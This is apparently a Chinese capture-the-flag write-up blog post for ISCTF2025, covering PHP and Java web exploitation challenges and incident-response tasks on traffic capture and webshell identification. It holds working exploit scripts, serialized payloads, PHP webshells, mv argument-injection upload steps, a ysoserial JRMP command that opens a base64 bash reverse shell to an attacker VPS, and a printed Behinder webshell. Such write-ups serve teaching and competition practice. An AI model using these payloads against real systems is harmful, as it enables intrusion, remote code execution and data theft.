我们利用 HTTP 头注入 和 PHP 的 getallheaders() 函数来绕过限制。

  1. Payload : system(implode(getallheaders()));

    • getallheaders() : 返回所有 HTTP 请求头的数组(只包含字母和括号,符合正则)。
    • implode() : 将数组元素拼接成一个长字符串。
    • system() : 执行这个长字符串作为 Shell 命令。
  2. 攻击方式 :

    • 在 HTTP 请求头中插入我们要执行的命令(如 cat /flag )。
    • 为了防止拼接后的其他头信息干扰命令执行,我们在命令后加上 ; # (Shell 中的命令分隔符和注释符)。
    • 由于 implode 会拼接所有头的值,只要我们的恶意头排在前面(或者即使在中间,只要前面没有破坏 Shell 语法的字符),命令就会执行。

exp

import requests
import re
url = "http://challenge.bluesharkinfo.com:21131/"
def get_flag():
# 1. 构造符合正则 /^[A-Za-z\(\)_;]+$/ 的 PHP Payload
# system(implode(getallheaders())); 会将所有 HTTP 头的值拼接入 system() 执行
payload = "system(implode(getallheaders()));"
# 2. 在 HTTP 头中注入 Shell 命令
# 'cat /flag' 是我们要执行的命令
# '; #' 用于结束命令并注释掉后续拼接进来的其他 HTTP 头(如 User-Agent 等)
# 'A-Cmd' 是自定义头名,首字母 A 是为了尽量让它在 implode 拼接时靠前(视服务器排序策略而定)
headers = {
'A-Cmd': 'cat /flag; #',
'User-Agent': 'Exploit/1.0' # 其他头会被 # 注释掉
}
print(f"[*] Sending payload to {url}...")
try:
response = requests.get(url, params={'code': payload}, headers=headers)
# 使用正则提取 Flag
flag_match = re.search(r'ISCTF\{[^}]+\}', response.text)
if flag_match:
print(f"[+] Flag found: {flag_match.group(0)}")
else:
print("[-] Flag not found. Response snippet:")
print(response.text[:200])
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
get_flag()

来签个到吧#

先代码审计

  1. 入口点 ( src/index.php ) : 代码中存在如下逻辑:

    if (str_starts_with($s, "blueshark:")) {
    $ss = substr($s, strlen("blueshark:"));
    $o = @unserialize($ss);
    // ...
    }

    如果 POST 参数 shark 以 blueshark: 开头,剩余部分会被传入 unserialize() 函数。这直接导致了反序列化漏洞。

  2. 利用链 ( src/classes.php ) : 存在一个 FileLogger 类,其 __destruct() 方法会将 content写入content 写入 logfile 指定的文件:

    class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";
    // ...
    public function __destruct() {
    if ($this->content) {
    file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }
    }
    }

    我们可以利用这个类,将恶意的 PHP 代码写入 Web 目录下的文件(例如 shell.php ),从而获得 Webshell。

攻击过程

  1. 构造 Payload : 我编写了一个脚本生成序列化数据,创建了一个 FileLogger 对象,将 logfile 设置为 /var/www/html/shell.php , content 设置为

    Payload:

    Terminal window
    blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";
    s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}

题目提供了一个文件分享网站,允许用户上传图片(png, avif 等)、文本(txt)以及 打包格式(tar) 。网站特别说明:“上传后会自动帮你解压到目录”。

漏洞分析

该题目的核心漏洞在于服务器处理 tar 文件解压时,没有对压缩包内的文件类型做安全检查。Python 的 tarfile 模块在 extractall() 时,默认会保留压缩包内的 符号链接(Symbolic Link) 。

如果攻击者构造一个包含指向 /flag (或其他敏感文件)的符号链接的 tar 包,服务器解压后,会在上传目录下生成一个指向 /flag 的软链接。当我们通过 Web 访问这个软链接文件时,服务器会读取链接指向的目标文件内容并返回,从而导致任意文件读取。

解题步骤

第一步:构造恶意 Tar 包

我们需要编写一个 Python 脚本,利用 tarfile 库创建一个包含恶意软链接的 tar 文件。

import tarfile
def make_tar(filename):
with tarfile.open(filename, "w") as
tar:
# 创建一个名为 link_flag.txt 的文件
# 类型设置为符号链接 (SYMTYPE)
# 链接指向服务器根目录下的 /flag
info = tarfile.TarInfo("link_flag.
txt")
info.type = tarfile.SYMTYPE
info.linkname = "/flag"
tar.addfile(info)
# 顺便读取一下源码 app.py
info_app = tarfile.TarInfo
("link_app.txt")
info_app.type = tarfile.SYMTYPE
info_app.linkname = "../app.py"
# 猜测源码在上一级目录
tar.addfile(info_app)
make_tar("exploit.tar")
print("Payload exploit.tar 生成成功!")

第二步:上传 Payload

将生成的 exploit.tar 通过网站首页的上传功能上传。

第三步:读取 Flag

上传成功后,服务器自动解压。此时访问对应的解压路径即可读取 flag。 根据题目逻辑,文件会被解压到上传目录,我们可以直接通过 /download/ 访问。

Bypass#

源码审计

核心代码如下:

class FLAG
{
private $a;
protected $b;
// ...
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
// 黑名单过滤
$blocked_a = ['eval', 'dl', 'ls', 'p',
'escape', 'er', 'str', 'cat', 'flag', 'file',
'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w',
'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa',
'proc', 'dir', 'regexp', 'n', 'alter',
'load', 'grep', 'o', 'file', 't', 'w',
'insert', 'sort', 'h', 'sy', '\.\.', 'array',
'sh', 'touch', 'e', 'php', 'f'];
// ... 正则匹配 ...
}
}

漏洞点 : __destruct 方法中,在通过 check 函数检查后,会执行 a("",a("", b) 。这实际上是在调用函数 a,并将""a ,并将 "" 和 b 作为参数传入。

难点 : 我们需要找到一个函数 a和一个参数a 和一个参数 b ,既能绕过极其严格的黑名单,又能执行任意代码(RCE)。

绕过思路

第一步:选择函数 $a

$blocked_a 过滤了 s ,这导致绝大多数命令执行函数无法使用:

  • system (含 s) -> ❌
  • passthru (含 s) -> ❌
  • shell_exec (含 s) -> ❌
  • assert (含 s) -> ❌
  • call_user_func (含 s) -> ❌ 同时过滤了 p (单独字符) 和 exec 。

突破口 : create_function

  • create_function 在 PHP < 8.0 中可用(本题环境通常为 PHP 5/7)。
  • 它接受两个参数: argsargs 和 code 。
  • 内部实现类似于 eval(“function lambda_func(args) { code }”); 。
  • 关键点 : create_function 这个字符串本身 不包含 blockeda中的任何黑名单字符(注意er是被禁的,但re没问题;p被禁,但createfunction不含p)。因此,选定blocked_a 中的任何黑名单字符(注意 er 是被禁的,但 re 没问题; p 被禁,但 create_function 不含 p )。 因此,选定 a = “create_function” 。此时代码执行变为 create_function("", $b) 。

第二步:构造 Payload $b

create_function("", b)会执行eval,我们可以在b) 会执行 eval ,我们可以在 b 中注入代码。 通常利用方式是闭合函数定义: $b = ’} original_payload; /*’ 。 这样 eval 执行的代码变为:

function __lambda_func() { } original_payload; /* }

original_payload 会被立即执行。

WAF 分析 (b):b) : blocked_b 过滤极其严格,包括单字符: c , e , f , h , n , o , t , w 。

这意味着我们不能在 Payload 中使用:

  • echo (含 e, o, h)
  • cat (含 c, t)
  • flag (含 f, a, g)
  • system (含 e, t)
  • shell_exec (含 h, e) 可用字符 : a , b , d , g , i , j , k , l , m , p , q , r , s , u , v , x , y , z 以及符号 ( , ) , ; , / , * , ? , [ , ] , < , > , ` 等。

Payload 构造 :

  1. 执行函数 : 我们需要一个函数来执行系统命令。 var_dump 是完美的候选者:

    • 包含字符: v , a , r , _ , d , u , m , p 。
    • 全部在允许列表中(注意 p 在 blockeda中被禁,但在blocked_a 中被禁,但在 blocked_b 中只禁了 pa 和 php ,单独的 p 是允许的)。
    • 用法: var_dump(command) 。
  2. 系统命令 : 利用反引号 ` 执行 shell 命令。 目标是读取 /flag 。

    • 读取命令 : cat 被禁 ( c , t )。替代方案: dd 。
      • dd 仅含 d ,允许。
    • 文件名 : /flag 被禁 ( f )。替代方案:通配符。
      • /[a-z]lag
      • [ 和 ] 允许。
      • a , z , l , g 允许。
        • 允许。 最终 Payload :
}var_dump(`dd < /[a-z]lag`);/*

exp

<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
// 1. Check file details (is it a file? size?)
// ls -l /[a-z]lag*
$p1 = new FLAG('create_function', '}var_dump(`ls -l /[a-z]lag*`);/*');
echo "Payload 1 (ls -l):\n" . urlencode(serialize($p1)) . "\n\n";
// 2. Move to web root (assuming writable)
// mv /[a-z]lag* x
// Then user can access /x
$p2 = new FLAG('create_function', '}var_dump(`mv /[a-z]lag* x`);/*');
echo "Payload 2 (mv to x):\n" . urlencode(serialize($p2)) . "\n\n";
// 3. xxd (Hex dump)
// xxd /[a-z]lag*
$p3 = new FLAG('create_function', '}var_dump(`xxd /[a-z]lag*`);/*');
echo "Payload 3 (xxd):\n" . urlencode(serialize($p3)) . "\n\n";
// 4. xargs (Echo content)
// xargs -a /[a-z]lag*
$p4 = new FLAG('create_function', '}var_dump(`xargs -a /[a-z]lag*`);/*');
echo "Payload 4 (xargs):\n" . urlencode(serialize($p4)) . "\n\n";

mv_upload#

  1. 代码审计: 在 index.php 中,上传的文件首先被放入临时目录 $uploadDir (/tmp/upload/)。 当用户点击“确认上传”时,服务器执行以下命令:

    Terminal window
    exec("cd $uploadDir ; mv * $targetDir
    2>&1", $output, $returnCode);

    这里使用了 mv 。在 Linux Shell 中, 会被展开为当前目录下所有的文件名。如果文件名以 - 开头,mv 命令会将其解析为参数(Option)而不是文件名。

  2. 黑名单限制: 代码中有一个很长的黑名单 $blacklist,禁止上传 php, phtml, php5 等常见后缀。但是,它没有禁止 .ph 后缀。通常 .ph 文件不会被 Web 服务器解析为 PHP,但我们可以利用它作为中间跳板。

  3. 利用思路: 我们需要将一个包含 Webshell 的文件重命名为 .php 后缀,以便服务器解析执行。 利用 mv 命令的备份功能:

    • —backup:如果目标文件已存在,则对目标文件进行备份。
    • —suffix=SUFFIX:指定备份文件的后缀。

    核心逻辑: 如果我们执行 mv —backup —suffix=p shell.ph /target/,且 /target/shell.ph 已经存在:

    1. mv 发现目标文件 /target/shell.ph 存在。
    2. 它会将现有的 /target/shell.ph 备份为 shell.ph + p = shell.php。
    3. 然后将新的 shell.ph 移动过去。 这样,我们就得到了一个名为 shell.php 的文件,其内容是之前上传的 Webshell。

复现步骤

第一步:上传 Webshell (shell.ph)

首先上传一个名为 shell.ph 的文件,内容为 PHP 马。.ph 不在黑名单中,可以正常上传并移动到存储目录。此时服务器上存在 /var/www/html/upload/shell.ph,但无法执行。

Terminal window
# 本地创建 shell.ph
echo "<?php system(\$_GET['c']); ?>" >
shell.ph
# 上传并确认移动
curl -F "files[]=@shell.ph" -F "upload=1"
http://challenge.bluesharkinfo.com:28443/
curl -F "confirm_move=1" http://challenge.
bluesharkinfo.com:28443/

第二步:利用参数注入生成 .php 文件

再次上传 shell.ph,同时上传两个特殊文件名的空文件:—backup 和 —suffix=p。 当服务器执行 mv * 时,命令展开为: mv —backup —suffix=p shell.ph /var/www/html/upload/ (注:Shell 展开通常按字母顺序,- 排在 s 前面,所以参数会正确生效)

这将触发备份机制,将第一步上传的 shell.ph 重命名为 shell.php。

Terminal window
Bash
# 创建空文件作为参数
touch -- --backup
touch -- --suffix=p
# 同时上传三个文件:参数文件和触发碰撞的 shell.
ph
curl -F "files[]=@--backup" -F "files[]
=@--suffix=p" -F "files[]=@shell.ph" -F
"upload=1" http://challenge.bluesharkinfo.
com:28443/
# 确认移动,触发命令执行
curl -F "confirm_move=1" http://challenge.
bluesharkinfo.com:28443/

第三步:执行命令获取 Flag

现在服务器上已经生成了 shell.php,可以直接访问并执行命令。

Terminal window
curl "http://challenge.bluesharkinfo.
com:28443/upload/shell.php?c=cat%20/flag"

Regretful_Deser#

1.1 逆向分析

拿到题目附件 n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar 后,我们首先使用反编译工具(如 JD-GUI 或 IDEA)查看核心代码。

org.example.Main$EchoHandler 类中,我们发现了处理 HTTP 请求的核心逻辑:

public void handle(HttpExchange exchange) throws IOException {
Headers headers = exchange.getRequestHeaders();
String pass = headers.getFirst("Pass");
// 关键点 1: 奇怪的逻辑校验
if (!pass.equals("n1ght") && pass.hashCode() == "n1ght".hashCode()) {
String echo = headers.getFirst("echo");
byte[] data = Base64.getDecoder().decode(echo);
// 关键点 2: 反序列化入口
SecurityObjectInputStream ois = new SecurityObjectInputStream(new ByteArrayInputStream(data));
ois.readObject();
}
}

**1.2 绕过逻辑校验 **

代码中存在一个典型的 Hash 碰撞检查:

  • !pass.equals("n1ght"): 字符串不能是 “n1ght”。
  • pass.hashCode() == "n1ght".hashCode(): 字符串的 Hash 值必须等于 “n1ght” 的 Hash 值。

Java 的 String.hashCode() 算法是固定的 (s[0]*31^(n-1) + s[1]*31^(n-2) + ...)。我们编写脚本爆破出字符串 “loght”,其 Hash 值与 “n1ght” 均为 103149392,成功满足条件。

1.3 黑名单审计

代码使用了自定义的 SecurityObjectInputStream,查看其源码发现它重写了 resolveClass 方法,设置了黑名单:

String[] blacklist = new String[] {
"org.apache.commons.collections", // 封禁 CC 链
"javax.management.remote.rmi.RMIConnector",
"java.security",
"java.rmi.MarshalledObject",
...
};

这意味着我们不能直接发送通用的 CommonsCollections 利用链(如 CC1, CC6 等),因为它们会被直接拦截抛出异常。

1.4 依赖分析

既然 CC 链被封,我们需要寻找其他的可用 Gadget。通过检查 Jar 包内的类文件(strings 或解压查看),我们发现项目中包含了 Hibernate 相关库 (org.hibernate.*)。

思路: Hibernate 有一条经典的利用链,可以通过 hashCode() 触发任意 Getter 方法的调用。如果我们将这个 Getter 指向一个 RMI 动态代理,就能触发远程类加载或二次反序列化。

2. 漏洞链详解

本次攻击使用了 “Hibernate + JRMP (二次反序列化)” 的组合拳。

2.1 第一阶段:触发链 (The Trigger)

目标: 在反序列化 HashMap 时,触发代码执行。 限制: 必须绕过 SecurityObjectInputStream 的黑名单。

利用链流程如下:

  1. 入口: HashMap.readObject()
    • HashMap 在反序列化时,会为了恢复哈希表结构,对每个 Key 调用 hashCode() 方法。
  2. 桥梁: TypedValue.hashCode() (Hibernate 类)
    • 我们将 Key 设置为 org.hibernate.engine.spi.TypedValue 对象。
    • TypedValue 包含一个 Type 和一个 Value。它的 hashCode() 方法会调用 value 的 HashCode。
  3. 反射调用: GetterMethodImpl.get()
    • Hibernate 的 ComponentType 在计算 Hash 时,会通过 PojoComponentTuplizer 获取属性值。
    • 最终会调用 GetterMethodImpl.get(),该方法内部执行了 method.invoke(target)
  4. RMI 触发: RemoteObjectInvocationHandler.invoke()
    • 我们将 Getter 的目标对象(target)设置为一个 动态代理 (Dynamic Proxy)
    • 这个代理对象封装了 UnicastRef,指向攻击者的 VPS。
    • Getter 尝试调用代理对象的 getlist 方法时,代理会将其转发给 RemoteObjectInvocationHandler,进而通过 UnicastRef 发起 JRMP 协议 的远程调用。

2.2 第二阶段:黑名单绕过 (The Bypass)

核心原理: 为什么这能绕过黑名单?

  • Client (Target): 发送 Hibernate 对象 -> 触发 RMI 连接 -> 等待 Server 响应
  • Server (VPS): 收到连接 -> 发送恶意的 CommonsCollections 序列化对象作为返回值。
  • Client (Target): 接收返回值 -> 使用 Java 内部的 RMI 机制进行反序列化

关键点: RMI 协议在接收远程方法返回值时,使用的是 Java 原生的序列化机制,并没有使用我们在 EchoHandler 中定义的那个带黑名单的 SecurityObjectInputStream。因此,在这一步,我们可以自由地发送 CommonsCollections 恶意对象,不再受黑名单限制。

2.3 RCE

  1. VPS 上的 JRMPListener 返回一个封装了 Runtime.exec("bash -i ...")CommonsCollections 对象(通常是 CC5 或 CC6,取决于 JDK 版本)。
  2. 目标机器接收到这个对象后,在 RMI 内部反序列化过程中触发 LazyMapTiedMapEntry 的逻辑,最终执行命令。

3. 攻击复现

3.1 生成 Payload

使用 GenPayload.java 生成第一阶段的 Hibernate Payload。这个 Payload 只是一个“引信”,它的唯一作用是让目标连接我们的 VPS。

// 核心代码:将 RMI 代理伪装成 Hibernate 的数据对象
Object triggerObj = createActivatableRefProxy(vps_ip, vps_port); // RMI 代理
Object hibernatePayload = makeHibernatePayload(triggerObj); // 包装进 TypedValue

3.2 架设恶意服务

在 VPS (47.x.x.x) 上:

  1. 开启监听 (用于接收 Shell):

    Terminal window
    nc -lvvp 2223
  2. 开启 JRMP Listener (用于发送真正的 CC Payload):

    Terminal window
    # 使用 CommonsCollections5 适配 JDK 8
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 'bash -c {echo,YmFzaCAtaSAXXXXXXXXXXXXjY2LzIyMjMgMD4mMQ==}|{base64,-d}|{bash,-i}'

3.3 发送攻击请求

使用 Python 脚本发送请求,Header 设置如下:

  • Pass: loght (绕过 Hash 检查)
  • echo: <Base64 Payload> (触发 Hibernate 链)

目标服务器反序列化 Header 中的 Payload -> 连接 VPS:2333 -> 下载并反序列化 CC Payload -> 执行 Bash 反弹 Shell -> VPS:2223 收到 Shell。

应急响应#

hacker#

  • 初步分析 : 使用 tshark 查看流量包的协议层级,发现包含大量的 HTTP 流量。
Terminal window
tshark -r hacker的流量.pcapng -q -z io,phs
  • 定位关键行为 : 题目描述黑客“写入了很多的垃圾用户(注册)”,这通常对应 HTTP POST 请求。我统计了所有 POST 请求的 URI:
Terminal window
tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10

结果显示 /register.php 被请求了 161 次,远高于其他注册相关的接口。

  • 确定攻击者 IP : 针对 /register.php 接口,统计发起请求的源 IP 地址:
Terminal window
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn

输出结果如下:

Terminal window
tshark -r hacker的流量.pcapng -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
frame frames:76119 bytes:58554161
eth frames:76119 bytes:58554161
ip frames:75260 bytes:58486439
udp frames:573 bytes:93760
dhcp frames:16 bytes:5528
ssdp frames:90 bytes:18774
dns frames:261 bytes:27739
ntp frames:42 bytes:3780
nbns frames:89 bytes:9321
nbdgm frames:13 bytes:2997
smb frames:13 bytes:2997
mailslot frames:13 bytes:2997
browser frames:13 bytes:2997
lsd frames:21 bytes:3738
xml frames:30 bytes:20842
mdns frames:5 bytes:543
llmnr frames:6 bytes:498
tcp frames:74661 bytes:58390591
mysql frames:422 bytes:57902
data frames:2 bytes:308
nbss frames:38 bytes:4193
smb frames:4 bytes:826
data frames:1 bytes:171
http frames:42660 bytes:25620392
data-text-lines frames:21267 bytes:17332273
media frames:39 bytes:171078
ocsp frames:12 bytes:8465
urlencoded-form frames:457 bytes:288747
xml frames:23 bytes:17599
mime_multipart frames:9 bytes:7490
_ws.malformed frames:5 bytes:4207
json frames:23 bytes:15836
data-text-lines frames:1 bytes:708
data frames:1 bytes:1076
png frames:42 bytes:39908
dcerpc frames:5 bytes:606
oxid frames:2 bytes:288
tls frames:1396 bytes:1766693
tls frames:957 bytes:1417103
igmp frames:14 bytes:780
icmp frames:12 bytes:1308
arp frames:781 bytes:42162
ipv6 frames:78 bytes:25560
icmpv6 frames:38 bytes:3020
udp frames:40 bytes:22540
xml frames:30 bytes:21442
mdns frames:4 bytes:480
llmnr frames:6 bytes:618
===================================================================
tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10
tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10
161 /register.php
117 /login.php
78 /admin/settings.php
12 /
4 /xmlrpc/soapserver.php
4 /xmlrpc/soap.php
4 /xmlrpc/server.php
4 /xmlrpc.php
4 /xmlrpc.jsp
4 /xmlrpc.aspx
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn
159 192.168.37.177
2 192.168.37.3
Terminal window
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e http.file_data | head -n 5
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3026656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3126656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
Terminal window
echo "757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d" | xxd -r -p
username=zhangsan2&email=19884562%40qq.com&password=zhangsan123&confirm_password=zhangsan123&name=zhangsan1&gender=%E7%94%B7&birthday=2025-04-01&id_card=101120012520133401&phone=19985236457&address=%
Terminal window
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e text | grep "username" | head -n 5
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e text | grep "username" | head -n 5
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan0",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan1",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""

方法一:查看单个数据包的详细内容

使用 -V 参数可以展示数据包的完整解码信息。在输出中找到 HTML Form URL Encoded 部分,即可看到提交的表单数据。

Terminal window
tshark -r hacker的流量.pcapng -Y "http.
request.method == POST && http.request.
uri == \"/register.php\" && ip.src == 192.
168.37.177" -V -c 1

方法二:批量提取关键文本信息

使用 -e text 可以提取 HTTP 层面的描述文本,配合 grep 过滤,能快速看到所有注册请求中的用户名信息。

Terminal window
tshark -r hacker的流量.pcapng -Y "http.
request.method == POST && http.request.
uri == \"/register.php\" && ip.src == 192.
168.37.177" -T fields -e text | grep
"username"

执行第二条命令后,你会看到类似如下的输出,清晰地展示了批量注册的 zhangsan 系列账号:

Terminal window
Form item: "username" = "zhangsan47",Form
item: "email" = "..."
Form item: "username" = "zhangsan48",Form
item: "email" = "..."
Form item: "username" = "zhangsan49",Form
item: "email" = "..."
...

奇怪的shell文件#

目录结构分析

首先,我们对提供的目录 \奇怪的shell文件\phpstudy_pro 进行浏览。通常,Web 根目录位于 WWW 文件夹下。 进入 \奇怪的shell文件\phpstudy_pro\WWW ,我们看到这是一个基于 EMLOG 博客系统的网站(根据 include/lib/emcurl.php 等文件头部的注释判断)。

异常文件定位

在 Web 目录中,我们重点关注通常容易被攻击者利用的目录,如上传目录 ( uploadfile )、插件目录 ( content/plugins ) 或模板目录 ( content/templates )。

通过对代码中敏感函数(如 eval , assert , system 等)的搜索,或者人工排查目录,我们在插件目录中发现了一个极具可疑性的文件:

  • 路径 : \奇怪的shell文件\phpstudy_pro\WWW\content\plugins\tips\shell.php
  • 可疑点 :
    1. 文件名 shell.php 非常直白,与正常插件文件命名风格(如 tips.php )不符。
    2. 位于 tips 插件目录下,该目录通常只包含功能性脚本。

样本分析

我们读取 shell.php 的源代码进行深入分析:

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密
钥为连接密码32位md5值的前16位
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://
input");
if(!extension_loaded
('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);
$i++) {
$post[$i] = $post
[$i]^$key[$i+1&
15];
}
}
else
{
$post=openssl_decrypt
($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function
__invoke($p) {eval($p."");}}
@call_user_func(new C(),
$params);
?>

关键特征提取

  1. 密钥注释 : 代码第 4 行: $key=“e45e329feb5d925b”; //该密钥为连接密码32位md5值的前16位 。 这是该工具服务端脚本最显著的特征之一,直接说明了密钥的生成方式。

  2. 加密通信 : 代码第 19 行: post=openssldecrypt(post=openssl_decrypt(post, “AES128”, $key); 。 代码逻辑显示,它优先尝试使用 OpenSSL 扩展进行 AES128 解密。如果不支持 OpenSSL,则回退到异或(XOR)加密。这种强加密通信流量是 冰蝎 (Behinder) 的核心特性,旨在绕过 WAF 检测。

  3. 执行逻辑 : 代码第 24-25 行:

    class C{public function __invoke
    ($p) {eval($p."");}}
    @call_user_func(new C(),$params);

    利用 call_user_func 和魔术方法 __invoke 来动态执行解密后的 Payload,这也是为了规避静态查杀。

工具溯源

根据上述特征,特别是 AES128 加密和特定的注释说明,我们可以确定这是 冰蝎 (Behinder) 的服务端 PHP 脚本(通常对应 3.0 或更高版本)。

  • 菜刀 (Chopper) : 通常是一句话木马 eval($_POST[‘cmd’]) ,流量为明文或简单的 Base64。
  • 蚁剑 (AntSword) : 支持自定义编码器,但默认特征通常没有如此复杂的 AES 协商逻辑,且默认不带此类特定注释。
  • 哥斯拉 (Godzilla) : 也有加密流量,但其 PHP Shell 通常包含 session_start 后对 $_SESSION 的特定操作逻辑与冰蝎不同,且通常不会有 “该密钥为连接密码…” 这样的中文注释。
  • 冰蝎 (Behinder) : 默认 Shell 完美匹配上述代码结构。
ISCTF2025
https://return-sin.github.io/-sinQwQ-/posts/isctf2025/
Author
sinQwQ
Published at
2025-12-04
License
CC BY-NC-SA 4.0